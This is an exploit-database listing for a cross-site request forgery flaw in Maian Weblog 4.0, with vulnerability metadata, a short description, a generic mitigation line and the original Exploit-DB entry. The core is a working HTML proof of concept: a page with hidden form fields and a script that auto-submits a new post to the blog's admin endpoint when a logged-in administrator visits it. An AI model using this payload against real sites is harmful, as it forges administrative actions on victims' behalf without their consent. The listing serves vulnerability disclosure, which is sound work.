Maian Weblog 4.0 - Cross-Site Request Forgery ( Add New Post)

vendor:

Maian Weblog

by:

Besim

8,8

CVSS

HIGH

Cross-Site Request Forgery

352

CWE

Product Name: Maian Weblog

Affected Version From: 4.0

Affected Version To: 4.0

Patch Exists: NO

Related CWE: N/A

CPE: a:maian:maian_weblog:4.0

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: PHP

2016

Maian Weblog 4.0 – Cross-Site Request Forgery ( Add New Post)

This exploit allows an attacker to add a new post to the Maian Weblog 4.0 application. The attacker can craft a malicious HTML page containing a form with hidden fields that will submit the data to the vulnerable application. The attacker can then send the malicious page to an authenticated user of the application, and when the user visits the page, the form will be automatically submitted, resulting in the addition of a new post to the application.

Mitigation:

The application should validate all input data and verify that the user is authorized to perform the requested action.

Source

Exploit-DB raw data:

# Exploit Title :              Maian Weblog 4.0 - Cross-Site Request
Forgery ( Add New Post)
# Author :                     Besim
# Google Dork :                 -
# Date :                       10/10/2016
# Type :                       webapps
# Platform :                   PHP
# Vendor Homepage :   http://www.maianweblog.com
# Software link :
 http://www.hotscripts.com/listings/jump/download/21864




*########################### CSRF PoC ###############################*


<html>
  <!-- CSRF PoC -->
  <body>
    <form action="http://site_name/mainb/publish/admin/index.php?cmd=add"
method="POST">
      <input type="hidden" name="process" value="1" />
      <input type="hidden" name="title" value="Murat" />
      <input type="hidden" name="comments"
value="Muratttttt&#13;&#10;<br&#32;&#47;>" />
      <input type="submit" value="Submit request" />
    </form>
    <script>
      document.forms[0].submit();
    </script>
  </body>
</html>

*####################################################################*